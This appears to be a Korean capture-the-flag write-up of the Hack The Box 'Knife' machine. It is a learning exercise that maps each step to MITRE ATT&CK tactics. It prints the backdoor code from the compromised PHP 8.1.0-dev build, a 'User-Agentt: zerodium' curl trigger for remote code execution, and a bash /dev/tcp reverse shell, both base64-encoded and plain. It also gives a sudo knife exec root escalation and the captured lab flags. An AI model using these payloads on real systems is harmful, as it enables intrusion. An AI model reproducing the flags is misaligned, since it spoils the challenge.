[TA0043 Reconnaissance – T1595 Active Scanning]
정찰 시작
nmap 결과
sudo nmap -p- --min-rate 1000 -T4 -v -oA /home/kali/htb/knife/scans/allports 10.129.45.59

SSH, HTTP 서비스 동작중 식별
포트별로 좀더 자세히 스캔 시작
sudo nmap -sCV -p22,80 -oA /home/kali/htb/knife/scans/detail 10.129.45.59

http 추가 정보 확보
curl -sSI http://10.129.45.59/

PHP 8.1.0-dev 버전 사용 식별
- 해당 버전은 악의적인 사용자가 저장소 침해공격시 생성된 PHP 버전임
- 공격자가 심어둔 특정 헤더와 문자열로 원격 PHP 코드를 동작시킬 수 있는 백도어가 포함된 버전이다
아래는 해당 버전에 포함된 백도어 구문임
if ((enc = zend_hash_str_find(..., "HTTP_USER_AGENTT", ...))) {
convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL,
"REMOVETHIS: sold to zerodium, mid 2017");
} zend_end_try();
}
}
공격자는 HTTP_USER_AGENTT 라는 헤더에 zerodium 문자열뒤 임의의 PHP 코드를 삽입해 요청을 보내 RCE를 터트릴 수 있다
테스트
curl -s -H 'User-Agentt: zerodiumsystem("id");' http://10.129.45.59/ | head -5

정상 동작하며 웹권한이 james로 구동중임을 확인 가능하다
user 플래그 접근이 가능할 것으로 보임 리버스 쉘을 붙이고 lateral movement 과정을 스킵한뒤 유저플래그를 추출해보겠음
페이로드
curl -s -H 'User-Agentt: zerodiumsystem("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS41MS80NDQ0IDA+JjE=|base64 -d|bash");' http://10.129.45.59/ -m 5
해당 페이로드를 Base64 인코딩한 이유는 URL 요청시 깨질수있기 때문 원본 페이로드는 아래와 같다
curl -s -H 'User-Agentt: zerodiumsystem("echo bash -i >& /dev/tcp/10.10.15.51/4444 0>&1|base64 -d|bash");' http://10.129.45.59/ -m 5
리버스 쉘을 붙이고 user 플래그 확보

UserFlag : fc5cb27c9b9aa100c99ae31784313589
권한 상승을 위한 재료를 찾아보자

/usr/bin/knife 해당 파일을 root 권한으로 실행시킬수 있다고 함
마침 머신명과 일치하니 좀더 알아보자
정보를 찾아보니 knife는 Chef Infra의 CLI 도구이며 Chef는 Puppet/Ansible/SaltStack과 같은 구성 관리(Configuration Management) 플랫폼이고, knife는 관리자가 Chef 서버와 노드를 제어할 때 쓰는 CLI라고 함
노드 부트스트랩, 쿡북 업로드, 원격 명령 실행 등을 수행 가능하다고한다
그리고 knife는 Ruby로 작성됐고, Ruby 코드를 실행하는 서브커맨드를 내장하고 있다고 한다
해당 서브커맨드를 통해서 권한 상승을 노려볼 수 있지 않을까 싶음
knife 서브커멘드 종류
해당 블로그를 참고함 https://sysopt.tistory.com/24
knife sub commands
knife sub command를 사용하는 방법에 대해 알아본다. help 명령으로 보면 다음과 같은 sub command가 존재한다.# knife -hAvailable subcommands: (for details, knife SUB-COMMAND --help) ** BOOTSTRAP COMMANDS **knife bootstrap FQDN (op
sysopt.tistory.com
서브커맨드를 이용한 페이로드
sudo /usr/bin/knife exec -E 'exec "/bin/bash -i"'

권한 상승 후 root flag 확보
Root Flag : aa1b1e3dc919d49fbd438d0fa2c0673d
해당 머신은 초기침투부터 내부권한 상승까지 정보를 찾아보는 족족 실마리가 잡혀서 실 풀이 시간은 오래걸리지 않았으며 각 취약점들을 학습하는 것에 시간투자가 더 많았던 것 같다 사실 권한 상승단은 서브커맨드를 실행만 하면 되는 구조기에 어렵지는 않았지만 php 백도어 소스를 분석하고 이해하는 것에 시간투자가 되었던 머신같다
[공격 체인 정리]
1. [TA0043 Reconnaissance] nmap으로 스캔 — 22/SSH, 80/HTTP만 오픈
2. [TA0043 Reconnaissance] curl HTTP 헤더 직접 확인 — X-Powered-By: PHP/8.1.0-dev 발견
3. [TA0001 Initial Access / T1190] PHP 8.1.0-dev 백도어 트리거 — User-Agentt: zerodiumsystem("id"); 로 인증 없이 RCE 동작, uid=1000(james) 확인 (lateral movement 단계 스킵)
4. [TA0002 Execution / T1059.004] base64로 인코딩한 bash /dev/tcp 리버스 쉘 전송 — nc -lvnp 4444 리스너로 james 쉘 획득
5. [TA0007 Discovery / T1033] sudo -l — (root) NOPASSWD: /usr/bin/knife 발견
6. [TA0004 Privilege Escalation / T1548.003] sudo /usr/bin/knife exec -E 'exec "/bin/bash -i"' — Chef Infra CLI의 인라인 Ruby 실행 기능을 악용해 즉시 uid=0 획득